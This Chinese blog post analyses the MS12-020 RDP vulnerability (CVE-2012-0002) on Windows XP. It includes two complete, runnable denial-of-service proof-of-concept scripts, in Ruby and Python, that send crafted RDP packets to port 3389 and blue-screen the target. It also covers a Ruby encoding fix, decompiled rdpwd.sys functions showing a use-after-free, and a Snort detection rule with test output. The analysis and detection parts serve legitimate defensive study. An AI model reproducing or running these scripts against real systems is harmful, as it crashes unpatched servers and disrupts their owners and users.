【漏洞分析】CVE2012-0002漏洞分析过程详述

 

1、漏洞触发

发送攻击脚本后机器蓝屏效果如下:

测试环境:win xp professional sp2

 

 2、ruby脚本源码及分析

#!/usr/bin/env ruby

# ms12-020 PoC

# NOTE: 本测试脚本基于中国民间流传的ChineseShit而写,并且修正了数据包不符合协议的问题

# Author: Joshua J. Drake(jduck)

# From: BlackBap.Org

# Silic Group - 技术自由 技术创新 技术共享 技术原创 技术进步

 

require 'socket'

 

def send_tpkt(sd, data)

 sd.write(make_tpkt(data))

end

 

def make_tpkt(data)

  [

   3,  # version

   0,  # reserved

    4+ data.length

 ].pack('CCn') + data

end

 

def make_x224(data)

  [data.length ].pack('C') + data

end

 

def make_rdp(type, flags, data)

  [type, flags, 4 + data.length ].pack('CCv') + data

end

 

 

host = ARGV.shift

 

sd = TCPSocket.new(host, 3389)

pkts1 = [""]

 

# craft connection request

rdp = make_rdp(1, 0, [ 0 ].pack('V'))

x224_1 = make_x224([

 0xe0,  # Connection request

 0,     # ??

 0,     # SRC-REF

 0      # Class : Class 0

].pack('CnnC') + rdp)

 

pkts1 << make_tpkt(x224_1)

 

 

# craft connect-initial

x224_2 = make_x224([

 0xf0,  # Data / Class 0

 0x80   # EOT: True / NR: 0

].pack('CC'))

 

# mcsCi

target_params = ""+

 #"\x02\x01\x00"+     #maxChannelIds

 "\x02\x04\x00\x00\x00\x22"+ # maxChannelIds

 "\x02\x04\x00\x00\x00\x0a"+ # maxUserIds

 "\x02\x04\x00\x00\x00\x00"+ # maxTokenIds

 "\x02\x04\x00\x00\x00\x01"+ # numPriorities

 "\x02\x04\x00\x00\x00\x00"+ # minThroughput

 "\x02\x04\x00\x00\x00\x01"+ # maxHeight

 "\x02\x02\xff\xff"+         # maxMCSPDUSize

 "\x02\x04\x00\x00\x00\x02"  # protocolVersion

min_params = ""+

 "\x02\x04\x00\x00\x00\x01"+ # maxChannelIds      

 "\x02\x04\x00\x00\x00\x01"+ # maxUserIds         

 "\x02\x04\x00\x00\x00\x01"+ # maxTokenIds        

 "\x02\x04\x00\x00\x00\x01"+ # numPriorities      

 "\x02\x04\x00\x00\x00\x00"+ # minThroughput      

 "\x02\x04\x00\x00\x00\x01"+ # maxHeight          

 "\x02\x02\x04\x20"+         # maxMCSPDUSize

 "\x02\x04\x00\x00\x00\x02"  # protocolVersion

max_params = ""+

 "\x02\x02\xff\xff"+         # maxChannelIds          

 "\x02\x02\xfc\x17"+         # maxUserIds             

 "\x02\x02\xff\xff"+         # maxTokenIds            

 "\x02\x04\x00\x00\x00\x01"+ # numPriorities          

 "\x02\x04\x00\x00\x00\x00"+ # minThroughput          

  "\x02\x04\x00\x00\x00\x01"+  # maxHeight              

 "\x02\x02\xff\xff"+         # maxMCSPDUSize

 "\x02\x04\x00\x00\x00\x02"  # protocolVersion

 

userdata = ""+

  #gccCCrq

 "\x00\x05\x00\x14"+

 "\x7c\x00\x01\x81\x2a\x00\x08\x00\x10\x00\x01\xc0\x00\x44\x75\x63"+"\x61\x81\x1c"+

  #clientCoreData

 "\x01\xc0"+"\xd8\x00"+  # header (type, len)

   "\x04\x00"+"\x08\x00"+ # version

   "\x80\x02"+ # desktop width

   "\xe0\x01"+ # desktop height

   "\x01\xca"+ # color depth

   "\x03\xaa"+ # SASSequence

   "\x09\x04\x00\x00" + # keyboard layout

   "\xce\x0e\x00\x00" + # client build number

    #client name

   "\x48\x00\x4f\x00\x53\x00\x54\x00\x00\x00\x00\x00\x00\x00\x00\x00"+

   "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+

   "\x04\x00\x00\x00"+ # keyboard type

   "\x00\x00\x00\x00"+ # kbd subType

   "\x0c\x00\x00\x00"+ # kbd FuncKey

    #imeFileName

   "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+

   "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+

   "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+

   "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+

   "\x01\xca"+ # postBeta2ColorDepth

   "\x01\x00"+ # clientProductId

   "\x00\x00\x00\x00" + # serialNumber

   "\x10\x00"+ # highColorDepth

   "\x07\x00"+ # supportedColorDepths

   "\x01\x00"+ # earlyCapabilityFlags

    #clientDigProductId -poc has: "00000-000-0000000-00000"

   "\x30\x00\x30\x00\x30\x00\x30\x00\x30\x00\x2d\x00\x30\x00\x30\x00"+

   "\x30\x00\x2d\x00\x30\x00\x30\x00\x30\x00\x30\x00\x30\x00\x30\x00"+

   "\x30\x00\x2d\x00\x30\x00\x30\x00\x30\x00\x30\x00\x30\x00\x00\x00"+

   "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+

   "\x00"+ # connectionType

    "\x00"+ # pad1octet

   "\x00\x00\x00\x00"+ # serverSelectedProtocol

   "\x04\xc0\x0c\x00"+ # desktopPhysicalWidth

   "\x0d\x00\x00\x00"+ # desktopPhysicalHeight

   "\x00\x00\x00\x00"+ # reserved

  #clientSecurityData

 "\x02\xc0"+"\x0c\x00"+ # header (type, len)

   "\x1b\x00\x00\x00"+ # encryptionMethods

   "\x00\x00\x00\x00"+ # extEncryptionMethods

  #clientNetworkData

 "\x03\xc0"+"\x2c\x00"+ # header (type, len)

   "\x03\x00\x00\x00"+ # channel count!

    #channel 0

   "rdpdr\x00\x00\x00"+ # name

   "\x00\x00\x80\x80"+  #options

    #channel 1

   "cliprdr\x00"+       #name

   "\x00\x00\xa0\xc0"+  #options

    #channel 2

   "rdpsnd\x00\x00"+    #name

   "\x00\x00\x00\xc0"   #options

  #clientClusterData (not present)

  #clientMonitorData (not present)

 

mcs_data = ""+

   "\x04\x01\x01"+ # callingDomainSelector

   "\x04\x01\x01"+ # calledDomainSelector

   "\x01\x01\xff"+ # upwardFlag

 #"\x30" + [ target_params.length ].pack('C') + target_params +

 #"\x30" + [ min_params.length ].pack('C') + min_params +

 #"\x30" + [ max_params.length ].pack('C') + max_params +

 "\x30" + [ 0x19 ].pack('C') + target_params +

 "\x30" + [ 0x19 ].pack('C') + min_params +

 "\x30" + [ 0x1c ].pack('C') + max_params +

  #userData

 "\x04\x82" + [ userdata.length ].pack('n') + userdata

 

#mcs = "\x7f\x65\x82" + [mcs_data.length ].pack('n')  #connect-initial (0x65 / 101), length

 

#mcs = "\x7f\x65\x82" + [ 0x194].pack('n')  # connect-initial (0x65 /101), length

mcs = "\x7f\x65\x82\x01\x94"

mcs << mcs_data

 

 

pkts1 << make_tpkt(x224_2 +mcs.force_encoding("ascii-8bit"))

 

 

# send a special one?

pkts1 << make_tpkt(x224_2 +"\x04\x01\x00\x01\x00")

 

# send more pkts! - based on poc

10.times {

 pkts1 << make_tpkt(x224_2 + "\x28")

}

 

pkts1 << make_tpkt(x224_2 +"\x38\x00\x06\x03\xea".force_encoding("ascii-8bit"))

pkts1 << make_tpkt(x224_2 +"\x38\x00\x06\x03\xeb".force_encoding("ascii-8bit"))

pkts1 << make_tpkt(x224_2 +"\x38\x00\x06\x03\xec".force_encoding("ascii-8bit"))

pkts1 << make_tpkt(x224_2 +"\x38\x00\x06\x03\xed".force_encoding("ascii-8bit"))

pkts1 << make_tpkt(x224_2 +"\x38\x00\x06\x03\xee".force_encoding("ascii-8bit"))

pkts1 << make_tpkt(x224_2 +"\x38\x00\x06\x03\xf0".force_encoding("ascii-8bit"))

pkts1 << make_tpkt(x224_2 +"\x38\x00\x06\x03\xf1".force_encoding("ascii-8bit"))

pkts1 << make_tpkt(x224_2 +"\x38\x00\x06\x03\xf2".force_encoding("ascii-8bit"))

pkts1 << make_tpkt(x224_2 +"\x38\x00\x06\x03\xf3".force_encoding("ascii-8bit"))

 

pkts1 << make_tpkt(x224_2 + "\x21\x80".force_encoding("ascii-8bit"))

 

bigpkt = pkts1.join('')

 

loop {

 sd.write(bigpkt)

 

 send_tpkt(sd, x224_2 +"\x2e\x00\x00\x01".force_encoding("ascii-8bit"))

 send_tpkt(sd, x224_2 +"\x2e\x00\x00\x02".force_encoding("ascii-8bit"))

 send_tpkt(sd, x224_2 +"\x2e\x00\x00\x03".force_encoding("ascii-8bit"))

 send_tpkt(sd, x224_2 + "\x2e\x00\x00\x04".pack('C*'))

 

  #read connect-initial response

  buf= sd.recv(1500)

  #XXX: TODO: check response =)

 #puts buf

}

sd.close

# BlackBap.Org

3、问题及解决方案

版本信息:ruby 2.1.5p273

E:\VulAnalysis>ruby --version

ruby 2.1.5p273 (2014-11-13 revision 48405)[i386-mingw32]

网上资料获取的Ruby脚本运行时总是提示如下错误,即我们拷贝的程序采用的是UTF-8编码,而程序中字符串之间连接时编码必须相同,即将UTF8转成ASCII-8BIT或全部转换为字符数组

E:\VulAnalysis>ruby 2.rb 192.168.102.254--encoding=8bit

2.rb:185:in `<main>': incompatiblecharacter encodings: ASCII-8BIT and UTF-8 (En

coding::CompatibilityError)

 

 send_tpkt(sd, x224_2 + "\x2e\x00\x00\x03".force_encoding("ascii-8bit"))

 send_tpkt(sd, x224_2 + "\x2e\x00\x00\x04".pack('C*'))

 

4、python代码开发

#

#

# ms12-020 "chinese shit" PoC v2(wireshark version)

#

# tested on winsp3 spanish, reported towork on Win7, win 2008

#

# original source:http://115.com/file/be27pff7

#

#

 

import socket

import sys

import time

 

 

 

buf=""

buf+="\x03\x00\x00\x13" # TPKT, Version3, lenght 19

buf+="\x0e\xe0\x00\x00\x00\x00\x00\x01\x00\x08\x00\x00\x00\x00\x00"# ITU-T Rec X.224

buf+="\x03\x00\x01\xd6" # TPKT,Version 3, lenght 470

buf+="\x02\xf0\x80" # ITU-T RecX.224

 

 

buf+="\x7f\x65\x82\x01\x94\x04" #MULTIPOINT-COMMUNICATION-SERVICET.125

buf+="\x01\x01\x04\x01\x01\x01\x01\xff"# "Fuck you Chelios" packet

buf+="\x30\x19\x02\x04\x00\x00\x00\x22"#000000MaxchannelIDs result in bluescreen after 0x2c head len.

buf+="\x02\x04\x00\x00\x00\x02\x02\x04"

buf+="\x00\x00\x00\x00\x02\x04\x00\x00"

buf+="\x00\x01\x02\x04\x00\x00\x00\x00"

buf+="\x02\x04\x00\x00\x00\x01\x02\x02"

buf+="\xff\xff\x02\x04\x00\x00\x00\x02"

buf+="\x30\x19\x02\x04\x00\x00\x00\x01"

buf+="\x02\x04\x00\x00\x00\x01\x02\x04"

buf+="\x00\x00\x00\x01\x02\x04\x00\x00"

buf+="\x00\x01\x02\x04\x00\x00\x00\x00"

buf+="\x02\x04\x00\x00\x00\x01\x02\x02"

buf+="\x04\x20\x02\x04\x00\x00\x00\x02"

buf+="\x30\x1c\x02\x02\xff\xff\x02\x02"

buf+="\xfc\x17\x02\x02\xff\xff\x02\x04"

buf+="\x00\x00\x00\x01\x02\x04\x00\x00"

buf+="\x00\x00\x02\x04\x00\x00\x00\x01"

buf+="\x02\x02\xff\xff\x02\x04\x00\x00"

buf+="\x00\x02\x04\x82\x01\x33\x00\x05"

buf+="\x00\x14\x7c\x00\x01\x81\x2a\x00"

buf+="\x08\x00\x10\x00\x01\xc0\x00\x44"

buf+="\x75\x63\x61\x81\x1c\x01\xc0\xd8"

buf+="\x00\x04\x00\x08\x00\x80\x02\xe0"

buf+="\x01\x01\xca\x03\xaa\x09\x04\x00"

buf+="\x00\xce\x0e\x00\x00\x48\x00\x4f"

buf+="\x00\x53\x00\x54\x00\x00\x00\x00"

buf+="\x00\x00\x00\x00\x00\x00\x00\x00"

buf+="\x00\x00\x00\x00\x00\x00\x00\x00"

buf+="\x00\x00\x00\x00\x00\x04\x00\x00"

buf+="\x00\x00\x00\x00\x00\x0c\x00\x00"

buf+="\x00\x00\x00\x00\x00\x00\x00\x00"

buf+="\x00\x00\x00\x00\x00\x00\x00\x00"

buf+="\x00\x00\x00\x00\x00\x00\x00\x00"

buf+="\x00\x00\x00\x00\x00\x00\x00\x00"

buf+="\x00\x00\x00\x00\x00\x00\x00\x00"

buf+="\x00\x00\x00\x00\x00\x00\x00\x00"

buf+="\x00\x00\x00\x00\x00\x00\x00\x00"

buf+="\x00\x00\x00\x00\x00\x00\x00\x00"

buf+="\x00\x01\xca\x01\x00\x00\x00\x00"

buf+="\x00\x10\x00\x07\x00\x01\x00\x30"

buf+="\x00\x30\x00\x30\x00\x30\x00\x30"

buf+="\x00\x2d\x00\x30\x00\x30\x00\x30"

buf+="\x00\x2d\x00\x30\x00\x30\x00\x30"

buf+="\x00\x30\x00\x30\x00\x30\x00\x30"

buf+="\x00\x2d\x00\x30\x00\x30\x00\x30"

buf+="\x00\x30\x00\x30\x00\x00\x00\x00"

buf+="\x00\x00\x00\x00\x00\x00\x00\x00"

buf+="\x00\x00\x00\x00\x00\x00\x00\x00"

buf+="\x00\x00\x00\x00\x00\x04\xc0\x0c"

buf+="\x00\x0d\x00\x00\x00\x00\x00\x00"

buf+="\x00\x02\xc0\x0c\x00\x1b\x00\x00"

buf+="\x00\x00\x00\x00\x00\x03\xc0\x2c"

buf+="\x00\x03\x00\x00\x00\x72\x64\x70"

buf+="\x64\x72\x00\x00\x00\x00\x00\x80"

buf+="\x80\x63\x6c\x69\x70\x72\x64\x72"

buf+="\x00\x00\x00\xa0\xc0\x72\x64\x70"

buf+="\x73\x6e\x64\x00\x00\x00\x00\x00"

buf+="\xc0"

 

buf+="\x03\x00\x00\x0c" # TPKT,Version 3, Lenght 12

buf+="\x02\xf0\x80"  # ITU-T Rec X.224

buf+="\x04\x01\x00\x01\x00" #MULTIPOINT-COMMUNICATION-SERVICE T.125

buf+="\x03\x00\x00\x08" #TPKT,Version 3, Length 8

buf+="\x02\xf0\x80" # ITU-T RecX.224

buf+="\x28" #MULTIPOINT-COMM-SERVICE T.125

buf+="\x03\x00\x00\x0c" # TPKT,Version 3, Lenght 12

buf+="\x02\xf0\x80" # ITU-T RecX.224

buf+="\x38\x00\x06\x03\xef" #MULTIPOINT-COMM-SERVICE T.125

buf+="\x03\x00\x00\x0c" # TPKT,Version 3, Lenght 12

buf+="\x02\xf0\x80" #ITU-T RecX.224

buf+="\x38\x00\x06\x03\xeb" #MULTIPOINT-COMM-SERVICE T.125

buf+="\x03\x00\x00\x0c" # TPKT,Version 3, Lenght 12

buf+="\x02\xf0\x80" #ITU-T RecX.224

buf+="\x38\x00\x06\x03\xec"#MULTIPOINT-COMM-SERVICE T.125

buf+="\x03\x00\x00\x0c"  # TPKT, Version 3, Lenght 12

buf+="\x02\xf0\x80" #ITU-T RecX.224

buf+="\x38\x00\x06\x03\xed"#MULTIPOINT-COMM-SERVICE T.125

buf+="\x03\x00\x00\x0c" # TPKT,Version 3, Lenght 12

buf+="\x02\xf0\x80" #ITU-T RecX.224

buf+="\x38\x00\x06\x03\xee"#MULTIPOINT-COMM-SERVICE T.125

buf+="\x03\x00\x00\x0b" # TPKT,Version 3, Lenght 12

buf+="\x06\xd0\x00\x00\x12\x34\x00"  #ITU-T Rec X.224

 

 

buf1 = ""

buf1 +="\x03\x00\x00\x13\x0e\xe0\x00\x00"

buf1 +="\x00\x00\x00\x01\x00\x08\x00\x00"

buf1 +="\x00\x00\x00\x03\x00\x01\xd6\x02"

buf1 +="\xf0\x80\x7f\x65\x82\x01\x94\x04"

 

buf1 += "\x01\x01\x04\x01\x01\x01\x01\xff"

buf1 +="\x30\x19\x02\x04\x00\x00\x00\x22"

buf1 +="\x02\x04\x00\x00\x00\x0a\x02\x04"

buf1 +="\x00\x00\x00\x00\x02\x04\x00\x00"

buf1 +="\x00\x01\x02\x04\x00\x00\x00\x00"

buf1 +="\x02\x04\x00\x00\x00\x01\x02\x02"

buf1 +="\xff\xff\x02\x04\x00\x00\x00\x02"

buf1 +="\x30\x19\x02\x04\x00\x00\x00\x01"

buf1 +="\x02\x04\x00\x00\x00\x01\x02\x04"

buf1 +="\x00\x00\x00\x01\x02\x04\x00\x00"

buf1 +="\x00\x01\x02\x04\x00\x00\x00\x00"

buf1 += "\x02\x04\x00\x00\x00\x01\x02\x02"

buf1 +="\x04\x20\x02\x04\x00\x00\x00\x02"

buf1 +="\x30\x1c\x02\x02\xff\xff\x02\x02"

buf1 +="\xfc\x17\x02\x02\xff\xff\x02\x04"

buf1 +="\x00\x00\x00\x01\x02\x04\x00\x00"

buf1 +="\x00\x00\x02\x04\x00\x00\x00\x01"

buf1 += "\x02\x02\xff\xff\x02\x04\x00\x00"

buf1 +="\x00\x02\x04\x82\x01\x33\x00\x05"

buf1 +="\x00\x14\x7c\x00\x01\x81\x2a\x00"

buf1 +="\x08\x00\x10\x00\x01\xc0\x00\x44"

buf1 +="\x75\x63\x61\x81\x1c\x01\xc0\xd8"

buf1 +="\x00\x04\x00\x08\x00\x80\x02\xe0"

buf1 += "\x01\x01\xca\x03\xaa\x09\x04\x00"

buf1 +="\x00\xce\x0e\x00\x00\x48\x00\x4f"

buf1 +="\x00\x53\x00\x54\x00\x00\x00\x00"

buf1 +="\x00\x00\x00\x00\x00\x00\x00\x00"

buf1 +="\x00\x00\x00\x00\x00\x00\x00\x00"

buf1 +="\x00\x00\x00\x00\x00\x04\x00\x00"

buf1 +="\x00\x00\x00\x00\x00\x0c\x00\x00"

buf1 +="\x00\x00\x00\x00\x00\x00\x00\x00"

buf1 +="\x00\x00\x00\x00\x00\x00\x00\x00"

buf1 +="\x00\x00\x00\x00\x00\x00\x00\x00"

buf1 +="\x00\x00\x00\x00\x00\x00\x00\x00"

buf1 += "\x00\x00\x00\x00\x00\x00\x00\x00"

buf1 +="\x00\x00\x00\x00\x00\x00\x00\x00"

buf1 +="\x00\x00\x00\x00\x00\x00\x00\x00"

buf1 +="\x00\x00\x00\x00\x00\x00\x00\x00"

buf1 +="\x00\x01\xca\x01\x00\x00\x00\x00"

buf1 +="\x00\x10\x00\x07\x00\x01\x00\x30"

buf1 += "\x00\x30\x00\x30\x00\x30\x00\x30"

buf1 +="\x00\x2d\x00\x30\x00\x30\x00\x30"

buf1 +="\x00\x2d\x00\x30\x00\x30\x00\x30"

buf1 +="\x00\x30\x00\x30\x00\x30\x00\x30"

buf1 +="\x00\x2d\x00\x30\x00\x30\x00\x30"

buf1 +="\x00\x30\x00\x30\x00\x00\x00\x00"

buf1 += "\x00\x00\x00\x00\x00\x00\x00\x00"

buf1 +="\x00\x00\x00\x00\x00\x00\x00\x00"

buf1 +="\x00\x00\x00\x00\x00\x04\xc0\x0c"

buf1 +="\x00\x0d\x00\x00\x00\x00\x00\x00"

buf1 +="\x00\x02\xc0\x0c\x00\x1b\x00\x00"

buf1 +="\x00\x00\x00\x00\x00\x03\xc0\x2c"

buf1 += "\x00\x03\x00\x00\x00\x72\x64\x70"

buf1 +="\x64\x72\x00\x00\x00\x00\x00\x80"

buf1 +="\x80\x63\x6c\x69\x70\x72\x64\x72"

buf1 +="\x00\x00\x00\xa0\xc0\x72\x64\x70"

buf1 +="\x73\x6e\x64\x00\x00\x00\x00\x00"

buf1 +="\xc0\x03\x00\x00\x0c\x02\xf0\x80"

buf1 +="\x04\x01\x00\x01\x00\x03\x00\x00"

buf1 +="\x08\x02\xf0\x80\x28\x03\x00\x00"

buf1 +="\x08\x02\xf0\x80\x28\x03\x00\x00"

buf1 +="\x08\x02\xf0\x80\x28\x03\x00\x00"

buf1 +="\x08\x02\xf0\x80\x28\x03\x00\x00"

buf1 += "\x08\x02\xf0\x80\x28\x03\x00\x00"

buf1 +="\x08\x02\xf0\x80\x28\x03\x00\x00"

buf1 +="\x08\x02\xf0\x80\x28\x03\x00\x00"

buf1 +="\x08\x02\xf0\x80\x28\x03\x00\x00"

buf1 +="\x08\x02\xf0\x80\x28\x03\x00\x00"

buf1 +="\x08\x02\xf0\x80\x28\x03\x00\x00"

buf1 += "\x0c\x02\xf0\x80\x38\x00\x06\x03"

buf1 +="\xea\x03\x00\x00\x0c\x02\xf0\x80"

buf1 +="\x38\x00\x06\x03\xeb\x03\x00\x00"

buf1 +="\x0c\x02\xf0\x80\x38\x00\x06\x03"

buf1 +="\xec\x03\x00\x00\x0c\x02\xf0\x80"

buf1 +="\x38\x00\x06\x03\xed\x03\x00\x00"

buf1 += "\x0c\x02\xf0\x80\x38\x00\x06\x03"

buf1 +="\xee\x03\x00\x00\x0c\x02\xf0\x80"

buf1 +="\x38\x00\x06\x03\xf0\x03\x00\x00"

buf1 +="\x0c\x02\xf0\x80\x38\x00\x06\x03"

buf1 +="\xf1\x03\x00\x00\x0c\x02\xf0\x80"

buf1 +="\x38\x00\x06\x03\xf2\x03\x00\x00"

buf1 += "\x0c\x02\xf0\x80\x38\x00\x06\x03"

buf1 +="\xf3\x03\x00\x00\x09\x02\xf0\x80"

buf1 += "\x21\x80"

 

#buf1 is for win xp ,buf2 is for win7win2003

#HOST = sys.argv[1]

HOST = '192.168.102.254'

PORT = 3389

for i in range(1000):

         s= socket.socket(socket.AF_INET, socket.SOCK_STREAM)

         s.connect((HOST,PORT))

         print"sending: %d bytes" % len(buf1)

         s.send(buf1)

         rec= s.recv(100)

         print"received: %d bytes" % len(rec)

         s.close()

         time.sleep(1)

5、逆向跟踪分析

 

通过蓝屏地址找到rdpwd.sys触发漏洞的地址:下面红色位置为非法访问地址即此地址释放后重复利用导致系统崩溃。

 

.text:0002C0C4                 mov     ecx, [eax+10h]

.text:0002C0C7                 mov     edi, [ecx+esi*8]

.text:0002C0CA                 mov     [ecx+edx*8], edi

.text:0002C0CD                 mov     esi, [ecx+esi*8+4]

.text:0002C0D1                 mov     [ecx+edx*8+4], esi

.text:0002C0D5                 dec     dword ptr [eax]

.text:0002C0D7                 or      dword ptr [eax+0Ch], 0FFFFFFFFh

.text:0002C0DB                 jmp     short loc_2C09F

.text:0002C0DB _SListRemove@12 endp

 

 

 

int __stdcall SListRemove(int a1, int a2,int a3)

{

  intresult; // eax@1

  intv4; // edx@1

 unsigned int v5; // esi@1

  intv6; // ecx@2

  intv7; // esi@12

 unsigned int v8; // ecx@12

  intv9; // ecx@14

 

 result = a1;

  v4= *(_DWORD *)(a1 + 8);

  v5= 0;

  if( *(_DWORD *)a1 )

  {

   v6 = *(_DWORD *)(a1 + 16);

   while ( a2 != *(_DWORD *)(v6 + 8 * v4) )

    {

     ++v4;

     if ( v4 == *(_DWORD *)(a1 + 4) )

       v4 = 0;

     ++v5;

     if ( v5 >= *(_DWORD *)a1 )

       goto LABEL_7;

    }

   if ( a3 )

     *(_DWORD *)a3 = *(_DWORD *)(v6 + 8 * v4 + 4);

   v7 = *(_DWORD *)a1 + *(_DWORD *)(a1 + 8) - 1;

   v8 = *(_DWORD *)(a1 + 4);

   if ( v7 >= v8 )

     v7 -= v8;

   v9 = *(_DWORD *)(a1 + 16);

    *(_DWORD *)(v9 + 8 *v4) = *(_DWORD *)(v9 + 8 * v7);

   *(_DWORD *)(v9 + 8 * v4 + 4) = *(_DWORD *)(v9 + 8 * v7 + 4);

   --*(_DWORD *)a1;

   *(_DWORD *)(a1 + 12) = -1;

  }

 else

  {

LABEL_7:

   result = a3;

   if ( a3 )

     *(_DWORD *)a3 = 0;

  }

 return result;

}

 

signed int __stdcall MCSAttachUserRequest(inta1, int a2, int a3, int a4, int a5, int a6, signed int a7)

{

  intv7; // ebx@1

  intv9; // esi@3

  intv10; // eax@3

 signed int v11; // ecx@3

 PVOID v12; // eax@8

  intv13; // eax@15

 signed int v14; // ebx@16

  intv15; // edi@17

  intv16; // eax@17

 signed int v17; // ecx@17

 PVOID v18; // eax@22

  intv19; // [sp+10h] [bp+8h]@24

 

  v7= a1;

 *(_BYTE *)a7 = 0;

  if( *(_DWORD *)(a1 + 112) == *(_DWORD *)(a1 + 168) )

   return 14;

  v9= 0;

  v10= a1 + 222;

  v11= 2;

  do

  {

   if ( !*(_BYTE *)v10 )

    {

     v9 = v10 - 6;

     *(_BYTE *)v10 = 1;

    }

   v10 += 76;

   --v11;

  }

 while ( v11 );

  if( !v9 )

  {

   v12 = ExAllocatePoolWithTag(PagedPool, 0x4Cu, 0x636D5354u);

   v9 = (int)v12;

   if ( !v12 )

     return 11;

   *((_BYTE *)v12 + 5) = 0;

  }

 *(_DWORD *)(v9 + 8) = a4;

 SListInit(v9 + 16, 5);

 *(_DWORD *)v9 = a1;

 *(_DWORD *)(v9 + 68) = a2;

 *(_DWORD *)(v9 + 72) = a3;

 *(_BYTE *)(v9 + 4) = a4 || a2 || a3;

  v13= GetNewDynamicChannel(a1);

 *(_DWORD *)(v9 + 12) = v13;

  if( !v13 )

  {

   v14 = 15;

   goto LABEL_35;

  }

  v15= 0;

  v16= a1 + 425;

  v17= 5;

  do

  {

   if ( !*(_BYTE *)v16 )

    {

     v15 = v16 - 57;

     *(_BYTE *)v16 = 1;

    }

   v16 += 64;

   --v17;

  }

 while ( v17 );

  if( !v15 )

  {

   v18 = ExAllocatePoolWithTag(PagedPool, 0x40u, 0x636D5354u);

   v15 = (int)v18;

   if ( !v18 )

    {

     v14 = a7;

     goto LABEL_35;

    }

   *((_BYTE *)v18 + 56) = 0;

  }

 *(_DWORD *)(v15 + 52) = 2;

 *(_DWORD *)(v15 + 60) = *(_DWORD *)(v9 + 12);

 SListInit(v15, 5);

  v19= a1 + 48;

  if( !(unsigned __int8)SListAppend(v7 + 48, *(_DWORD *)(v15 + 60), v15) )

  {

   v14 = 11;

LABEL_31:

   SListDestroy(v15);

   if ( *(_BYTE *)(v15 + 56) )

      *(_BYTE *)(v15 + 57) = 0;

   else

     ExFreePoolWithTag((PVOID)v15, 0);

LABEL_35:

   SListDestroy(v9 + 16);

   if ( *(_BYTE *)(v9 + 5) )

     *(_BYTE *)(v9 + 6) = 0;

   else

     ExFreePoolWithTag((PVOID)v9, 0);

   return v14;

  }

  if( !(unsigned __int8)SListAppend(v7 + 112, v9, v9) )

  {

   v14 = 11;

   SListRemove(v19, *(_DWORD *)(v15 + 60), 0);

   goto LABEL_31;

  }

 *(_DWORD *)a5 = v9;

 *(_DWORD *)a6 = *(_DWORD *)(v7 + 108);

  if( *(_BYTE *)(v7 + 16) & 0x20 )

   *(_BYTE *)a7 = 1;

 return 0;

}

6、报文分析与特征提取

alert tcp any any -> any 3389(msg:"cve2012-0002 for rdp protocolvulnerability";flow:to_server,established;content:"|0300|";offset:0;depth:2;content:"|0300|";distance:17;within:21;content:"|7f658201|";fast_pattern;content:"|000000|";within:17;reference:cve,2012-0002;sid:1091;rev:1)

           

7、Snort验证结果

Commencing packetprocessing (pid=22625)

07/20-15:46:18.101885  [**] [1:1091:1] cve2012-0002 for rdp protocolvulnerability [**] [Priority: 0] {TCP} 192.168.102.17:56632 ->192.168.102.18:3389

 

Action Stats:

     Alerts:            1 ( 6.667%)

    Logged:            1 (  6.667%)

    Passed:            0 (  0.000%)

Limits:

     Match:            0

     Queue:            0

       Log:            0

     Event:            0

     Alert:            0

Verdicts:

     Allow:           15 (100.000%)

     Block:            0 (  0.000%)

   Replace:            0 (  0.000%)

 Whitelist:            0 (  0.000%)

 Blacklist:            0 (  0.000%)

    Ignore:            0 (  0.000%)

    (null):            0 (  0.000%)

 

 

Ref:

http://cve.scap.org.cn/CVE-2012-0002.html

http://vdisk.weibo.com/s/3E6o2?t=file

http://www.nigesb.com/ms12-020-poc.html

 

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值